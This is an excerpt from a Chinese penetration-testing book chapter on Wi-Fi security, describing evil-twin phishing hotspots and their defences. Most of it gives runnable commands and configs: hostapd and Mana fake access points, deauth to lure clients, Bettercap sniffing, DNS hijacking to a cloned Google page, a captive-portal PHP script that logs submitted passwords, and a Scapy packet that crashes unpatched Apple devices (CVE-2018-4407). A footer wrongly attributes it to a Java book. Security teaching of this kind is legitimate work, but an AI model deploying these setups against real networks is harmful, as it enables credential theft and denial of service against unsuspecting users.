10 年前,国内网络安全圈的黑客们还专注于最初级的无线网络安全研究,采用最传统的无线攻击方法破解Wi-Fi 密码、蹭网,继而进行网络渗透测试。那个时期也是无线局域网安全最火热的时期。无线网络安全研究者们专注于寻找性能更优良的无线网卡,搭配着自己优化的无线破解平台或直接使用BackTrack、BackBox 以及后来的Kali、NetHunter 等完善环境来对身边一个又一个无线热点进行安全评估,体会那种突破限制、接入目标网络的成就感,同时也完成了对于企业安全评估的“红蓝对抗”。
随着无线攻防对抗的不断迭代,许多更有趣的攻击方式也出现了。例如EvilAP 钓鱼攻击:先侦测由无线客户端主动发出的Probe 帧中泄露的“历史连接热点名称”,通过软AP 程序(hostapd)创建同名的钓鱼热点,将无线目标拉入虚假的无线环境,进而发起攻击或窃取目标网络流量中的敏感信息。
本书内容共分为7 章及附录。
第1 章介绍我们对近源渗透测试的思路、理念以及对该领域未来的展望。
第2 章以Wi-Fi 为例,介绍基于无线网络的安全攻防及实例测试,包含家庭、企业级无线环境的常见渗透测试方法,无线入侵防御解决方案,无线钓鱼实战,以及基于无线特性的高级攻击利用技术。
第3~7 章介绍渗透测试人员突破边界后可使用的各类内网渗透测试技巧,如敏感信息收集、权限维持、横向渗透、鱼叉攻击、水坑攻击、漏洞利用、密码破解等。其中第6 章还介绍了针对门禁系统的RFID 安全检测技术、针对USB 接口的HID 攻击和键盘记录器技术、网络分流器等物理安全测试方法。
附录介绍了常见的近源渗透测试设备,并分享了两个真实的近源渗透测试案例。
随着 WEP 热点的减少、WPS 漏洞的修复、高密码强度 WPA 网络的增多,只通过破解的方式来攻破 Wi-Fi 网络已经变得不那么容易了。而事实上,越来越多的黑客开始对攻击无线客户端感兴趣,他们通过无线钓鱼等技术获取用户的敏感信息。
从无线网络接入者的角度来看,其安全性完全取决于无线网络搭建者的身份。受到各种客观因素的限制,很多数据在无线网络上传输时都是明文的,如一般的网页、图片等;还有很多网站或邮件系统甚至在手机用户进行登录时,将账号和密码也进行了明文传输或只是简单加密传输(加密过程可逆)。因此,一旦有手机接入攻击者架设的钓鱼热点,通过该网络传输的各种信息(包括账号和密码等)就会被攻击者所截获。
在 2015 年央视 3·15 晚会上,我们团队进行了一场钓鱼热点的演示。在晚会现场,观众加入主办方指定的一个 Wi-Fi 网络后,用户手机上正在使用哪些软件、用户通过微信朋友圈浏览的照片等信息就都被显示在了大屏幕上。不仅如此,现场大屏幕上还展示了很多用户的电子邮箱信息。图 2-87 是现场直播的部分画面。
特别值得一提的是,主持人在采访一位邮箱密码被展示出来的现场观众时,这位观众明确表示,到现场以后并没有登录电子邮箱。造成这种情况的原因是该用户所使用的电子邮箱软件在手机接入无线网络后,自动联网进行了数据更新,而在更新过程中,邮箱的账号和密码都被进行了明文传输。这个现场实验告诉我们:攻击者通过钓鱼热点盗取用户个人信息,用户往往是完全感觉不到的。
很多钓鱼热点并不会设置密码。智能手机在打开 Wi-Fi 功能时,会自动连接这些没有密码的热点,这使得钓鱼热点的攻击很难被发现。此外,钓鱼热点往往还会起一个很具迷惑性的名称,甚至直接冒充企业官方热点名称,骗取用户登录,从而骗得用户的账号密码等信息。
本节将通过搭建一个无线钓鱼热点,展示该攻击方式的危害性、隐蔽性和低成本性。读者将学习到构造一个精密的无线钓鱼网络所涉及的所有实现原理等,包括如何使用无线网卡创建热点、如何吸引更多用户连接热点、如何嗅探网络中的敏感信息、如何利用钓鱼网页获取用户敏感信息以及如何配置 Captive Portal 强制用户访问钓鱼界面。本节的末尾还将给出对无线钓鱼攻击的防护措施。
需要注意的是,本节的实验需要无线网卡支持 AP 模式才能建立热点。下面让我们一次性安装好需要用到的软件 hostapd、dnsmasq 及 php7.0-fpm。命令如下:
apt update
2.4.1 创建无线热点
1. hostapd
hostapd 是一个用于AP和认证服务器的守护进程,它实现了与 802.11相关的接入管理,支持 802.1X、WPA、WPA2、EAP 等认证。通过 hostapd 可以将无线网卡切换为 AP 模式,建立 OPEN、WEP、WPA或 WPA2 等无线网络,还可以设置无线网卡的各种参数,包括频率、信号、Beacon 帧发送间隔、是否发送 Beacon 帧、如何响应 Probe Request 帧及 MAC 地址过滤条件等。
出于建立钓鱼热点的目的,自然会优先选择 OPEN 这种无加密的模式。首先,创建配置文件open.conf,在其中输入以下语句:
interface=wlan0
SSID=FreeWiFi
driver=nl80211
channel=1
hw_mode=g
其中 interface 表示无线网卡接口名称,ssid 表示热点名称,channel 表示信道,hw_mode 用于指定无线模式,g代表 IEEE 802.11g。读者可根据实际情况做相应修改。
构建一个可使用的无线网络,除了创建接入点本身外,还需要配置 DHCP 和 DNS 等基础服务。dnsmasq 是一款可同时提供 DNS 和 DHCP 服务功能、较易配置的轻量工具。作为 DNS 服务器,dnsmasq可以通过缓存 DNS 请求来提高访问已经访问过的网址的连接速度。作为 DHCP 服务器,dnsmasq 可以为局域网PC分配内网IP地址和提供路由。其默认配置文件为/etc/dnsmasq.conf,其中包含大量的注释,用以说明各项功能及配置方法。在默认情况下,它会开启 DNS 功能,同时加载系统/etc/resolv.conf 文件中的内容作为上游 DNS 信息。只需要在配置文件中设置特定的 DHCP 地址池范围和所服务的网络接口即可。代码如下:
#/etc/dnsmasq.conf
dhcp-range=172.5.5.100, 172.5.5.250, 12h
interface=wlan0
保存后运行以下命令重启服务以使配置生效:
systemctl restart dnsmasq
在运行 hostapd 创建热点前,还需要使用几条命令消除系统对网卡 AP 功能的限制,同时为网卡配置 IP 地址、掩码等信息,最后才能启动 hostapd 程序。命令如下:
nmcli radio wifi off
rfkill unblock wlan
ifconfig wlan0 172.5.5.1/24
hostapd open.conf
运行效果如图 2-88 所示,随后就可以使用手机等设备连接该热点。
2. airbase-ng
我们也可以使用 airbase-ng 工具来创建热点。使用 airbase-ng 会新增一个 at0 接口,需要将/etc/ resolv.conf 配置文件中的接口修改为 interface=at0,随后就可以运行以下命令来启动热点:
airbase-ng wlan0 -c 9 -e FreeWiFi
ifconfig at0 172.5.5.1/24
在上述命令中,-c 用于指定信道,-e 用于指定热点名称。
2.4.2 吸引无线设备连接热点
通常情况下,将热点名称设置为 Free WiFi 类似的字眼就能吸引许多蹭网的用户主动连接。除此外,攻击者还有其他办法让手机等设备自动连上热点,例如构建一个用户之前连过的热点名称(如CMCC、StarBucks 等),同样为无加密的方式。当无线设备搜索到该同名、同加密类型的历史连接热点(后文称为已保存网络列表)就会尝试自动连接。那么,是否可以通过某种方式获取无线设备的已保存网络列表信息呢?
无线设备为了加快连接速度,在执行主动扫描时会对外广播曾经连接过的无线热点名称,如图 2-89所示。一旦攻击者截获这个广播,自然就能知道用户连过哪些热点,随后把所有的无线热点名称伪造出来欺骗设备自动连接。
如果某天你发现自己手机网络列表中竟然出现了大量连接过的热点名称(本不该出现在当前地理位置),那么说明有可能被这种方式攻击了。
1. Karma
2004 年,Dino dai Zovi 和 Shane Macaulay 两位安全研究员发布了 Karma 工具。Karma 能够收集客户端主动扫描时泄露的已保存网络列表①并伪造该名称的无密码热点,吸引客户端自动连接。
如图 2-90 所示,一个客户端发出了对两个不同热点名称(Home 和 Work)的 Probe Request 请求, Karma 对包含这两个热点名称的请求都进行了回复。这实际上违反了 802.11 标准协议,无论客户端请求任何 SSID,Karma 都会向其回复表示自己就是客户端所请求的热点,使客户端发起连接。
一款知名的无线安全审计设备——WiFi Pineapple(俗称“大菠萝”)便内置了 Karma 攻击的功能,由无线安全审计公司 Hak5 开发并售卖,从 2008 年起到目前已经发布到第六代产品,如图 2-91 所示。
①已保存网络列表有时也称为首选网络(preferred network)或信任网络(trusted network)。
Hak5 公司的创始人 Darren Kitchen 曾在一次会议上发表了有关的安全演讲。在现场,他开启Pineapple 进行演示,在屏幕上展示了一份长长的设备清单,包含黑莓、iPhone、Android 和笔记本电脑等。这些设备自认为连接到了宾馆或星巴克的 Wi-Fi 热点,实际上它们都受到了 WiFi Pineapple 的欺骗而连接到其所创建的钓鱼网络。
通过-P 和-C 参数同样可以在 airbase-ng 中开启 Karma 模式:
airbase-ng wlan0 -c 1 -e FreeWiFi -P -C 30
运行结果如图 2-92 所示。
不过在今天,Karma 攻击已经不太好使了。因为各手机厂商了解到 Directed Probe Request 会泄露已保存网络列表信息,可能导致终端遭到钓鱼攻击,所以在较新版本的手机系统中都改变了主动扫描的实现方式:主要是使用不带 SSID 信息的 Broadcast Probe Request 取代会泄露信息的 Directed Probe Request,两者的对比如图 2-93 所示。
采用 Directed Probe Request 的客户端会定时发送携带 SSID 信息的 Probe Request 帧,这导致已保存的网络列表信息泄露;而在 Broadcast Probe Request 中,客户端的 Probe Request 帧中的 SSID 字段为空,所有收到该请求的热点都会回复包含热点自身 SSID 信息的 Probe Response 帧,随后客户端再根据热点回复的 SSID 来决定是否连接。如此,在实现原有扫描功能的同时,还解决了泄露信息的问题。
我们知道,当热点配置为隐藏模式时,将不会对外发送 Beacon 帧,客户端想要自动连接隐藏热点的唯一方法就是持续不断地发送带有 SSID 信息的 Directed Probe Request,显然这会导致客户端泄露已保存的隐藏热点名称。后来 iOS 对此做了改进,设备会先检测周围是否存在隐藏热点,当至少存在一个隐藏热点时才会发送 Directed Probe Request 帧,不过这只是稍微增加了一些利用难度。
2. Mana
在 2014 年的 DEFCON 黑客会议上,由 Dominic White 和 Ian de Villiers 发布了 Mana 工具。Mana工具可以被理解为 Karma 2.0,它针对前面提到的问题做了以下一些改进。
(1) 收集周围可能存在的 Directed Probe Request 帧中的 SSID 信息或者由用户自定义的热点名称,将其制作成列表。当接收到 Broadcast Probe Request 时,Mana 工具会将列表中的每一个 SSID 依次构造成 Probe Response 帧向客户端回复。
(2) 针对 iOS 的隐藏热点处理,Mana 工具会自动创建一个隐藏热点用于触发 iOS 设备发送 Directed Probe Request。
(3) 增加了伪造 PEAP 等类型的 EAP SSL 方案热点的功能,可以抓取并破解 EAP Hash。破解后将认证信息存入 Radius 服务器,当客户端下次请求时就能成功连接上热点。
简单来说,Mana 工具会收集 Directed Probe Request 帧内的 SSID 信息或由用户自定义的开放式热点信息(如机场、公司、商场的 Wi-Fi 等)构成一个列表,随后,Mana 工具会对客户端的 Broadcast Probe Request 请求回复列表中的每一个热点名称,以期望覆盖到客户端曾经连接过的热点,如图 2-94 所示。
总结一下,吸引用户设备连接到恶意热点有以下方式。
(1) 伪造常见的公共热点,用户受骗,会主动点击发起连接。
(2) 从 Directed Probe Request 帧中获得 SSID 信息,伪造同名热点,欺骗用户设备自动连接(旧版本系统设备、隐藏热点)。
(3) 通过 Mana 等工具收集热点列表,把列表中的所有热点名称回复给每个 Broadcast Probe Request帧的发送者,如果覆盖到客户端曾经连接过的热点,会自动连接。
在 Kali Linux 中可以通过源仓库安装 Mana 套件,其中就包含了加入 Mana 攻击的 hostapd 版本。安装命令如下:
apt install mana-toolkit
安装完成后,会默认生成一个/etc/mana-toolkit/hostapd-mana.conf 配置文件,如图 2-95 所示。
该配置文件如 hostapd 程序一样,可以进行接口、热点名称及信道等配置,其中位于 31 行的enable_mana=1 表明开启 Mana 功能。随后运行 hostapd-mana,命令如下:
cd /usr/lib/mana-toolkit
./hostapd /etc/mana-toolkit/hostapd-mana.conf
效果如图 2-96 所示。
就建立钓鱼热点的场景而言,选择一家提供免费无线网络、电源和座位的咖啡馆是再好不过的。可以简单地将热点名称改为与店里的免费热点名称一致,同时使用另一块网卡发起 deauth 拒绝服务攻击使周围客户端掉线,如此就可以将周围的客户端吸引到我们的热点上。
2.4.3 嗅探网络中的敏感信息
当我们的设备能通过无线或有线的方式接入互联网时,为了使用户设备上的软件有更多网络交互并获取更多的信息,可以将钓鱼网络的流量转发至拥有互联网权限的网卡,从而使钓鱼网络也能连上外网。可以按照下面的操作步骤进行。首先开启 IP 路由转发功能:
sysctl -w net.ipv4.ip_forward=1
这种方式可以立即开启路由功能,但如果系统重启,设置的值会丢失。如果想永久保留配置,可以修改/etc/sysctl.conf 文件将 net.ipv4.ip_forward=1 前的“#”去掉并保存。
随后还需设置 iptables 规则,将来自钓鱼网络的数据包进行 NAT(network address translation,网络地址转换)处理并转发到外网出口。读者需要自身设备情况,将 eth0 修改为具有外网权限的网络接口。命令如下:
iptables -t nat - POSTROUTING -o eth0 -j MASQUERADE
当用户连入网络后,由于所有的网络请求都将经由我们的网卡进行转发,所以可以使用 Wireshark、 Tcpdump 等工具直接观察经过该无线网卡的所有流量,如图 2-97 所示。
1. Bettercap
Bettercap 是一个模块化、便携、易于扩展的中间人攻击框架。在 2018 年发布的 Bettercap 2.0 版本使用 Golang 进行了重构,除了对原有的 MITM 攻击模块进行升级外,还加入了 802.11、BLE 攻击的模块。Bettercap 拥有十分强大的功能,这里只会使用其流量嗅探功能,读者若有兴趣,可根据帮助内容进一步探索。
首先启动 Bettercap,通过参数指定建立无线热点的网络接口 wlan0 并查看网络内的活跃主机,命令如下:
bettercap -iface wlan0
net.show
运行效果如图 2-98 所示。
前面提到,由于整个无线网络的流量会经过我们的网卡进行转发,在这里只需打开嗅探功能就可看到所有客户端的网络流量:
net.sniff on
此时所有网络请求(如 DNS 查询、HTTP 请求等)都将在终端中显示其信息,如图 2-99 所示。
除此之外,一旦用户有 POST 提交,会将提交中的每个字段进行展示,这其中可能会涉及账号等敏感信息,如图 2-100 所示。
2. Driftnet
Driftnet 是一款简单、实用的图片捕获工具,可以很方便地抓取网络流量中的图片。使用 driftnet -i wlan0命令运行 Driftnet 程序,会在弹出的窗口中实时显示用户正在浏览的网页中的图片,如图 2-101所示。
2.4.4 利用恶意的 DNS 服务器
很多时候,我们会面临无外网的情况,用户设备上的软件由于无法与其服务器交互,大大减少了敏感信息暴露的机会。除了被动嗅探流量中的信息外,还可以在本地部署钓鱼网站来诱导用户填入敏感信息。
无线客户端连接网络时,通过 DHCP 服务不仅能获取到本地的 IP 地址,还包括 DHCP 服务指定的 DNS 服务地址。当我们可以决定用户的 DNS 解析结果时,钓鱼攻击就可以达到比较完美的效果——界面和域名都与真实网址一致。在本节中,我们将学习如何操纵用户的 DNS 解析结果,从而将用户对任意网址的访问解析到本地。
实验目的:克隆 www.google.cn 界面(见图 2-102)到本地,并使无线客户端对指定网页的访问指向该克隆界面。
(1) 打开网页 www.google.cn,通过把网页“另存为”的方式,将代码下载到 Downloads 目录。接着需要配置 Web 服务器,以 nginx 为例,打开配置文件/etc/nginx/sites-enable/default,输入以下内容:
server {
listen 80 default_server;
root /var/www/fakesite;
index index.html
location / {
try_files $uri $uri/ /index.html;
}
}
(2) 该配置文件指定本地 Web 服务监听 80 端口并以/var/www/fakesite 为根目录,将下载的 HTML代码放置到 Web 目录中并重启 nginx 服务,随后通过浏览器访问 172.5.5.1 查看效果。命令如下:
mkdir /var/www/fakesite
cd /var/www/fakesite
cp -r /root/Downloads/Google* .
mv Google.html index.html
systemctl restart nginx
当网页效果如图 2-103 所示,即配置成功。
对 DNS 服务进行配置,同样打开 dnsmasq 的配置文件/etc/dnsmasq.conf,以 address=/url/ip的格式写入解析规则,表示将指定 URL 解析到指定 IP 地址。如果 url 处填写为#,将解析所有的地址,随后重启 dnsmasq 服务。代码与命令如下:
#/etc/dnsmasq.conf
address=/#/172.5.5.1
systemctl restart dnsmasq
(3) 通过手机连接该热点,对任意地址进行访问测试(如 baidu.com),如果配置无误,将出现如图 2-104 所示的效果。
当用户看到一个界面一模一样、域名也一模一样的网站,很难察觉到这是个钓鱼站点。
2.4.5 配置 Captive Portal
在真实的场景中,更可能对一个带有登录的界面进行克隆,这样能获取用户输入的账号密码信息。本节将构造一个带有登录界面的钓鱼网站,读者可学习如何修改现有的登录认证代码,使其配合iptables 和 nginx 来配置常在公共无线网络中使用的 Captive Portal 认证。
在 2.3.3 节中我们了解到,Captive Portal 认证通常被部署在公共无线网络中,当未认证用户连接时,会强制用户跳转到指定界面。在 iOS、Android、Windows、Mac OS X 等系统中其实已经包含了对 Captive Portal 的检测,以 Android 系统为例,当设备连入无线网络时会尝试请求访问 clients3.google. com/generate_204 并根据返回结果来判断网络状况。当返回 HTTP 204 时,表示网络正常;如果返回了HTTP 302 跳转,手机就会认为该网络存在网络认证,并以弹窗等方式显示在手机中,如图 2-105 所示的提示信息。iOS、Windows 等系统也都采取类似的检测逻辑。
单击该提示就会直接打开认证界面。显然,一个热点配置了 Captive Portal 后会更显得像是一个“正式”的热点,同时利用该特性能让用户直达钓鱼界面。
1. iptables
iptables 是一种能完成封包过滤、重定向和网络地址转换(NAT)等功能的命令行工具。借助这个工具可以把用户的安全设定规则执行到底层安全框架 netfilter 中,起到防火墙的作用。
先通过 iptables 对来自无线网络的流量进行配置:
1 iptables -A FORWARD -i wlan0 -p tcp --dport 53 -j ACCEPT
2 iptables -A FORWARD -i wlan0 -p udp --dport 53 -j ACCEPT
3 iptables -A FORWARD -i wlan0 -p tcp --dport 80 -d 172.5.5.1 -j ACCEPT
4 iptables -A FORWARD -i wlan0 -j DROP
5 iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j DNAT --to-destination
6 iptables -t nat -A PREROUTING -i wlan0 -p udp --dport 53 -j DNAT --to-destination
172.5.5.1:53
7 iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 53 -j DNAT --to-destination
172.5.5.1:53
在上述命令中,第 1~4 行表示将所有网络流量包丢掉,但允许 DNS 查询及向网关特定端口请求的流量(在本例中是 172.5.5.1 的 80 端口);第 5 行表示将来自 NAT 网络的对 80 端口的数据请求都指向 172.5.5.1 的 80 端口;第 6~7 行表示将来自 NAT 网络的对 53 端口的 TCP、UDP 请求都指向 172.5.5.1的 53 端口。当这些 iptables 规则生效后,会有什么效果呢?
假设一部 Android 手机连接了该无线网络,手机会向 clients3.google.com/generate_204 发送一条请求。这命中了第 5 行的策略,实际请求被转发到了 172.5.5.1 的 80 端口。根据第 3 行的策略,对 172.5.5.1 80 端口的请求是被允许的。最终,客户端的请求到达了本地服务器的 80 端口。
2. nginx
接下来的任务是在本地启动HTTP服务,并配置网页信息及对相应请求的 302跳转等。同样以nginx为例,打开/etc/nginx/sites-enabled/default 文件,修改为以下配置:
server {
listen 80 default_server;
root /var/www/html;
location / {
try_files $uri $uri/ /index.html;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/var/run/php/php7.0-fpm.sock;
}
}
在上述配置中,会将/var/www/html 指定为 Web 根目录,当访问不存在的路径时都会被 302 跳转到 index.html 文件。同时还开启了对 PHP 文件的解析,因为后续会使用 PHP 程序来将用户输入的账号保存到本地。
我们直接使用 Kali 系统中 Setoolkit 工具的 Gmail 模板,界面如图 2-106 所示。
修改该模板以用作认证界面。首先复制一份该模板到我们的 Web 根目录:
cp /usr/share/set/src/html/templates/google/index.template /var/www/html/index.html
由于该模板界面中使用了远程 Google 服务器上的图片和 CSS 文件,而钓鱼网络可能处于无外网的状态,这可能导致用户无法加载。我们应该将远程图片下载到本地,并将 index.html 中的引用地址指向本地文件(此步略)。你也可直接删掉相应的行,以“png”和“css”为关键词进行搜索。
寻找用于提交账号信息的 form 表单(撰写本书时,相关代码位于 912 行附近),将其中的 action值改为./post.php,如图 2-107 所示。
同时在 Web 根目录/var/www/html 中创建 post.php 文件,写入以下内容:
<?php
$file = 'log.txt';
file_put_contents($file, print_r($_POST, true), FILE_APPEND);
?>
<meta http-equiv="refresh" content="0; url=./.." />
还需要为post.php 文件及所在文件夹设置用户权限:
chmod ug wx . -R
对于iOS 设备,还依赖hotspot-detect.html 文件中的特定值。创建该文件并输入以下内容:
<HTML>
<HEAD>
<TITLE>Network Authentication Required</TITLE>
<META http-equiv="refresh" content="0; url=captive.html">
</HEAD>
<BODY>
<p>You need to <a href="index.html">authenticate with the local
network</a> in order to gain access.</p>
</BODY>
</HTML>
最后,重启nginx 及php 服务使配置生效,命令如下:
systemctl restart nginx
systemctl restart php7.0-fpm
到此,所有的配置工作就完成了。为了以后能够更方便地启动该热点,可以将所有的启动命令写到脚本中。以下脚本用于启动带 Captive Portal 功能的 Wi-Fi 热点,文件保存为 startwifi_portal.sh,读者可根据需求自行修改命令内容:
#!/bin/bash
iptables -F
iptables -t nat -F
iface=wlan0
ifconfig $iface up
iptables -A FORWARD -i wlan0 -p tcp --dport 53 -j ACCEPT
iptables -A FORWARD -i wlan0 -p udp --dport 53 -j ACCEPT
iptables -A FORWARD -i wlan0 -p tcp --dport 80 -d 172.5.5.1 -j ACCEPT
iptables -A FORWARD -i wlan0 -j DROP
iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j DNAT --to-destination
172.5.5.1:80
iptables -t nat -A PREROUTING -i wlan0 -p udp --dport 53 -j DNAT --to-destination
172.5.5.1:53
iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 53 -j DNAT --to-destination
172.5.5.1:53
#iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
systemctl restart dnsmasq
systemctl restart nginx
systemctl restart php7.0-fpm
cat open.conf
nmcli radio wifi off
rfkill unblock wlan
ifconfig $iface 172.5.5.1/24
hostapd open.conf
文件保存后,还需设置执行权限,命令如下:
chmod a x startwifi_portal.sh
运行下面的命令即可查看效果:
./startwifi_portal.sh
使用手机连接该热点,会立即得到需要认证的提示,如图2-108 所示。
打开提示后便出现了预设的钓鱼界面,如图2-109 所示。可以尝试在登录框中输入任意账号密码并单击Sign in 按钮进行提交。
在Web 根目录下,可以查看记录了用户输入信息的log.txt 文件,内容如图2-110 所示。
2.4.6 绵羊墙
绵羊墙是一套钓鱼热点风险体验系统,界面如图 2-111 所示。它模拟了黑客建立钓鱼热点、窃取用户敏感信息的整个过程,用来让观众亲身感受钓鱼热点的危险性。
最早的绵羊墙(Wall of Sheep)起源于 2002 年美国的 DEFCON 黑客会议。在会议上,一群黑客偶然坐到一起,将现场正在使用不安全无线网络的参会者们的用户名和密码写在餐厅的纸盘子上,并贴到了墙上,还在一旁写了个大大的 Sheep。他们这样做,一方面是想教育公众“你很可能随时都被监视”,另一方面是想让那些参会者难堪——来参加黑客大会的人,自身也不注意安全。从此,绵羊墙项目成为西方举行各种黑客大会或安全大会上经常出现的趣味活动。黑客们每次都会想出各种新的花样在大会现场制造陷阱,入侵参会者的计算机和手机,窃听网络活动,并将结果投影展示在绵羊墙上,如图 2-112 所示。
随着近些年来国内移动互联网的快速发展,无线网络越来越多地出现在家庭、公共场所、办公楼等区域,但无线网络的安全风险一直未被公众所熟知。直到 2015 年的央视 3·15 晚会“钓鱼热点” 环节的演示(见图 2-113),才第一次让国内较为广大的群体对此有了直观认识。
为了更广泛地传播,我们结合国内用户的上网习惯,以 3·15 晚会的钓鱼热点功能为基础,将绵羊墙系统进行了进一步升级,并将整套系统集成到一台便携式装置中。只需要接通电源并插入网线就会自动建立热点并嗅探热点网络内的敏感信息。如图 2-114 所示,当体验用户连接热点后,其设备型号、正在浏览的网址、输入的账号信息都会被显示在屏幕上,甚至用户手机浏览器的实时截图及朋友圈里的照片都可能被黑客获取,如图 2-115 所示。
实际上,本节几乎已经对所有制作绵羊墙所需要的技术原理进行了介绍,读者可以尝试结合本节内容,灵活运用各种技术,构建一个属于自己的绵羊墙版本。
自 2015 年起,我们的绵羊墙系统已成为多届 ISC 互联网安全大会、首都网络安全日会展的演示项目,如图 2-116 所示,其直观的互动体验和演示效果引起了参会观众的广泛关注。在 2016 年年底,绵羊墙还作为唯一的黑客互动演示项目入驻中国科学技术馆。
除了提升公众安全意识外,绵羊墙还间接促进了许多互联网产品在安全方面的设计。它的大部分功能依赖于对未加密网络流量的嗅探,经过多年来媒体的跟踪报道,许多厂商也都逐渐认识到移动端网络环境的不确定性,对自己的应用服务采取 HTTPS 等安全措施,在保护用户数据安全性方面得到了大幅提升。
虽然这间接导致了绵羊墙部分展示功能不再奏效,但是符合我们的初衷——从攻击的角度展示风险并引起公众关注,进而促进相关厂商提升自身产品的安全性。就绵羊墙系统的使命而言,我们认为已经实现。
2.4.7 缓冲区溢出漏洞(CVE-2018-4407)
当受害者的设备与攻击者的设备处在同一 Wi-Fi 网络下,受害者设备除了容易遭到嗅探网络流量泄露敏感信息外,还容易遭受各种各样的漏洞攻击,如缓冲区溢出漏洞(CVE-2018-4407)。
CVE-2018-4407 是安全研究员 Kevin Backhouse 在 XNU 系统内核中发现的缓冲区溢出漏洞,攻击者可以利用该漏洞进行远程代码执行攻击。Kevin 在推特中给出了 PoC(漏洞验证脚本)和演示视频,可以使得同一局域网下的 MacBook 和 iPhone 设备崩溃。
CVE-2018-4407 漏洞的影响版本及设备范围如下。
□ iOS 11 及更早版本:所有设备(升级到iOS 12 的部分设备)。
□ macOS High Sierra(受影响的最高版本为10.13.6):所有设备。
□ macOS Sierra(受影响的最高版本为10.12.6):所有设备。
□ OS X El Capitan 及更早版本:所有设备。
我们可以通过 Scapy 工具发送特殊数据来触发该漏洞,首先在命令行中输入 scapy 打开工具,随后向目标设备发送一段特殊构造的 TCP 包:
send(IP(dst="1.2.3.4",options=[IPOption("A"*18)])/TCP(dport=2323,options=[(19, "1"*18),(19, "2"*18)]))
其中的 dst 参数需要根据实际情况修改为目标 IP 地址。利用 2.4.3 节中提到的 Bettercap 工具可以查看当前网络的活跃主机列表。
因为该漏洞较新,所以如果你的苹果设备没有及时更新版本,就会出现如图 2-117 所示的崩溃界面。
通过类似的漏洞利用方式,甚至可以实时监控新连入网络的客户端,一旦发现苹果设备就自动发送测试代码,达到用户一连上 Wi-Fi 热点就死机的效果。
2.4.8 如何抵御无线钓鱼攻击
前面的内容以攻击者的角度详细讨论了钓鱼热点的构建方式及可能造成的危害,相信读者已经体会到这是一种低成本、高回报的攻击方式。那么作为用户,该如何避免遭到钓鱼热点的攻击呢?可以遵循以下简单规则来保护个人数据。
(1) 对公共 Wi-Fi 网络采取不信任的态度,尽量不连接没有密码保护的无线网络。
(2) 在使用公共热点时,尽量避免输入社交网络、邮件服务、网上银行等登录信息,避免使用网银、支付宝等包含敏感信息的应用软件。
(3) 在不使用 Wi-Fi 时关闭 Wi-Fi 功能,避免由自动连接功能带来的风险。
(4) 在有条件的情况下,使用虚拟专用网络(VPN)连接,这将使用户数据通过受保护的隧道传输。
以上策略都依靠用户自身的安全意识,实际上对于企业级用户而言,要求每一位员工都拥有良好的无线安全意识且能在日常使用时做到,是很难达到的。对于像企业这样拥有对一定区域无线网络防护需求的用户来说,可以考虑部署 WIPS 产品来抵御无线攻击。以在 2.3.6 节中提到的 WIPS 产品 “天巡”为例,当它检测到有第三方热点伪装成白名单内官方热点名称时,会自动对该恶意热点进行阻断,切断一切无线设备对该热点的连接,如此便可在很大程度上抵御类似的钓鱼热点攻击。
——本文内容摘自《Java 实战(第2版)》
目录
前言 vi
第1章 鸟瞰近源渗透 1
第2章 Wi-Fi安全 14
第3章 内网渗透 143
第4章 权限维持 201
第5章 网络钓鱼与像素追踪技术 222
第6章 物理攻击 239
第7章 后渗透测试阶段 269
附录A 打造近源渗透测试装备 305
附录B 近源渗透测试案例分享 314
社区试读:第2章 Wi-Fi安全-图灵社区
购买连接:京东网上商城
《黑客大揭秘 近源渗透测试》(柴坤哲 杨芸菲 王永涛 杨卿)【简介_书评_在线阅读】 - 当当图书
,